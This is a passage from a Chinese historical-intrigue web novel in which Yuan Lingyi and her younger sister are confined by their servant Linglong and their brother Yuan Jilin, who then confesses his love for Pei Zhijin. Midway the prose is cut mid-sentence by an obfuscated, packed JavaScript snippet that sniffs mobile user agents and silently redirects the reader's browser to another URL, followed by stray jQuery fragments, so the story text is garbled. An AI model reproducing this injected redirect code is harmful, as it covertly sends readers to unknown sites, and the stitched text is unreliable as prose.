元令仪闻言神色一振,不顾任何仪态风范直接蹿到门前,猛地开门。
元令微欲要再度拍门的手悬在半空,蓄满泪的大眼睛不可置信地望着元令仪,似是受了极大的委屈,突然撞进长姐的怀里,嚎啕大哭。
“怎么了这是?”元令仪急忙地拥着她进了院子,玲珑上上下下地打量元令微,生怕她遭了什么意外。
“长姐……”元令微哭得一抽一抽的,圆润饱满的脸颊上挂着泪,看得人直心疼,“广胜寺的住持死了……”
元令仪闻言一愣,不明白元令微怎么突然提起这事,“你怎么知道的?”
“我与你们分开后,广洋卫和那群百姓突然就打起来了!”元令微一脸的惊恐,显然是被吓得不轻,“我看他们打得激烈,就想溜进去看看有什么线索,我看见了……”
“力空大师的尸体?”元令仪声音微凉,与院外不时传来的犬吠相和,听得人胆战心惊。
元令微环视一周,怯怯地看着其余的人,并未言语。
“姑姑,时候不早了,早些休息吧。”元令仪唇角勾起,笑容如同神人刻画的一般挂在脸上,只是笑意不达眼底,“君君有我照顾,您放心。”
玲珑姑姑一脸的讳莫如深,指着几间屋子轻声说道,“大小姐、三小姐,这几件房已经收拾好了,今晚两位小姐就宿在这里好了。”
“好。”元令仪应声答道,并未深究玲珑姑姑话中深意。
见玲珑走远,元令微急急说道,“长姐,我见到兄长了!我看见兄长杀了力空大师!”
“你说什么?”元令仪眼睛瞪得老大,她想不明白元暨麟怎么会在此刻回到苏州,还与力空的尸体搅在一起。
“君君,我不知你到底看到了什么,但麟儿绝对不可能杀了力空大师。”元令仪沉声说道,掷地有声,“你大可将心放在肚子里!”
“可是……”元令微紧紧地捏住元令仪的衣袖,“我真的看见了。”
“早在你看见之前,韩颂就已经发现力空大师的尸体了。”元令仪缓缓吐出一口浊气,眼下到底是谁杀了力空大师,她已然不关心。
高照曾经说过,元暨麟现在是周帝心腹,为周帝办些私隐秘事。
苏州毁寺灭佛的事,从一开始就满是滞碍。
四品知府孟祁观被害,寒山寺被屠,佣工被寺庙砸死砸伤,坐贾及官员又被下了大牢。若她元令仪是一国之君,自己亲力亲为定下的国策,推行诸般不畅,定是也要派个心腹来瞧上一瞧。
可王齐志带着几个京官已然着手调查,可元暨麟此时却莫名其妙地出现在广胜寺,难不成是周帝不信任王齐志,觉得高照等人可以掣肘这个老顽固?还是周帝有其他旨意,要元暨麟执行?
元令仪只觉得脑子要炸开一般,她轻声问道,“麟儿当时对力空大师的尸体做了什么?”
元令微眼珠转了几圈,声音略微发抖,“我见兄长似是要将力空大师的尸体搬走?”
“搬走?”元令仪疑惑地说道,“韩颂呢?”
“韩颂公子去驿馆报信还未归。”李乐宜缓缓说道,“大小姐,我们真的要在这里住上一晚吗?”
元令仪猛然想起方才玲珑姑姑的言行举止,心里隐隐有丝不安,可她到底是被玲珑姑姑看着长大的,又不禁地习惯信任她。
“我们……”元令仪犹疑地说道,“住在这里?”
“大小姐见谅。”李乐宜斩钉截铁地说道,“奴婢反倒觉得,咱们该回去!”
元令微迷茫地看着两人,似是不明白今夜住在哪里有何可争执,难道住错地方还能要命不成?
“这里有些古怪,包括长遥夫人……”李乐宜轻声说道,“也包括玲珑姑姑。”
元令仪沉着脸,三人无声以对,夜风混着一阵急促的犬吠冲向她们,似是杀气来临。
元令微猛地拔刀将两人护在身后,“长姐,来人了!”
言罢,元令仪方才隐约听见急促的脚步声,甲胄兵器摩擦的声音听得人头皮发麻。
玲珑姑姑如野鬼一般地出现在她们身后,幽幽地说道,“大小姐、三小姐,奴婢是英国公府的人,自然不会害了你们,只是想请小姐们在这里住上几日,莫要节外生枝!”
元令微见鬼一般地看着她,“姑姑,你在说什么?你是要囚禁我们吗?”
“奴婢不敢,只是这几日时局太乱,您和大小姐还是在这里躲一躲吧。”玲珑姑姑脊梁笔直,肃穆的神情仿若是个高高在上的杀神,须臾之间就能主宰他人性命。
“砰”的一声,门应声而破,一群看不出军制的甲士闯了进来,杀气凛凛地盯着三个小女子,如同盯着三头羊。
“你们是什么人!”元令微无暇再顾着玲珑姑姑,喝声问道,“你们可知我们是什么人!太子殿下、五殿下皆在苏州,我们若是出了什么事,你们也别想苟活!”
来人尽是不语,一阵熟悉的脚步声缓缓传来,甲士自觉让出一条小路,高挑劲瘦的少年人玉面染血,目光中满是晦涩,轻轻说道,“君君,听话。”
“兄长!”元令微眼泪夺眶而出,费力挤出几个字来,“你到底在干什么啊?我们不出去,张宓福怎么办?”
“放宽心,向前看,朋友还会有的……”少年人声音冷得如同挹娄冰封三万龙血军的冰雪,不似从前的明朗少年郎。
“你在说什么!”元令微无知无觉地松开长刀,“你怎么能说出这种话!”
元暨麟垂首向元令微走去,明亮的眸子失了华彩,不敢与她对视,猛然一个手刀砸在她的后颈,铁臂瞬时接住她瘫软的身子。
李乐宜满脸的不可置信,但还是反应极快地接过了元令微。
“照顾好她。”元暨麟嗓音沙哑地如同枯木焚烟,“长姐可是有话要问我?”
元令仪双眸清明,似是将满天的星河都盛进了眼中,语调尽是失落,“我问,你会答吗?”
“长姐若问……”元暨麟满脸的苦涩,“我定然要答的。”
“只是是真是假,要我自行判别?”元令仪倒吸一口凉气,勉力勾起嘴角,“你长高了不少,也硬朗了好些。”
元暨麟笑得露出一口白牙,姐弟二人似是一瞬间回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15190826|158146||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到从前,“夜深露重,长姐进屋吧,我也有话要对长姐说。”
骨烛噼啪作响,映得明纸上的人影晃晃荡荡,不似人影鲜活,倒有几分鬼影的灵动。
“太子殿下……”元暨麟问得迟疑,“待长姐可好?”
“他待我很好。”元令仪笑得温柔,目光缓缓扫过元暨麟周身,见他袖口有过缝补的痕迹,微微垂首打量了一番,诧异地挑眉说道,“夜不收里,还会有这么细致的男子,给你缝补衣服?”
元暨麟薄薄的面皮绯红一片,“不是男子……是女子。”
“是哪家的姑娘?”元令仪当真是满心的欢喜,“本还担心你入了夜不收,会耽误你终身大事,这么一看全家属你出息!”
元暨麟眼神清明,无措地攥紧了拳头,并不答话。
“害羞了?”元令仪揶揄地笑着,“怎么还藏着掖着的,难不成丑媳妇怕见公婆?你可得知道,你要真心待人家姑娘,不能辜负人家……”
元令仪如同苏昕意一般喋喋不休地盯住元暨麟,全然没有注意到少年人愈来愈冷的脸色和越发落寞的眼神。
“长姐,我心悦于她,爱她敬她,自是会像父亲待母亲一般,绝不二心!”元暨麟言之凿凿地说道,好似英国公元卿尘不曾纳了他的亲娘,叛了与苏昕意一生一世一双人的誓言。
元令仪面上不变,“你既然决定如此,还不快点告诉我这姑娘是谁?”
元暨麟脸色一僵,“她……”
“快些说!”元令仪眉眼笑得弯弯的,催促地说道,“怎么立业之后,还婆婆妈妈的?”
元暨麟深深地看了一眼元令仪,眼中晦暗褪去,深吸一口气说道,“是裴知珒。”
“……”元令仪一愣,缓缓问道,“谁?”
“是裴静之的嫡女,裴知珒!”元暨麟沉声说道,“长姐见过的。”
“我当然见过!”元令仪猛地站了起来,居高临下地盯着他,眼中怒火烧得酷烈,“你怎么能!你怎么敢!你怎么能与她搅在一起!”
元暨麟毫不意外她的反应,明亮的眼睛竟现出一丝隐隐的笑意,僵直的肩膀似是卸下担子一般,语调竟轻松了三分,“我当然知道,现下事情既已发生,我必不能负她。”
元令仪只觉得眼前一阵发黑,身子徐晃两下,她扶着额头苦涩地说道,“我原以为是哪户良家子,只要姑娘品行好,你若喜欢,家中一切滞碍由我去除掉,可怎么偏偏是裴知珒?”
“这天下女子众多,我只爱她一个。”元暨麟如同吃了黄连一般,浑身尽被苦涩吞没,“其余人,我都不要。”
“你可知,温了了心悦你很久很久。”元令仪淡淡说道,原本想着只要元暨麟喜欢,得罪东极学社的事她拼命也要为这个弟弟扛下,可现在她觉得心力交瘁,“温祭酒曾与父亲谈过你们的婚事。”
“我知道,父亲以我年纪尚幼回绝了。”元暨麟说道,“我只当师姐是姐姐,没有男女之情!”
“你懂什么是男女之情!”元令仪猛地拔高音调,“你们可有……”她声音满是颓废,“可行了周公之礼?”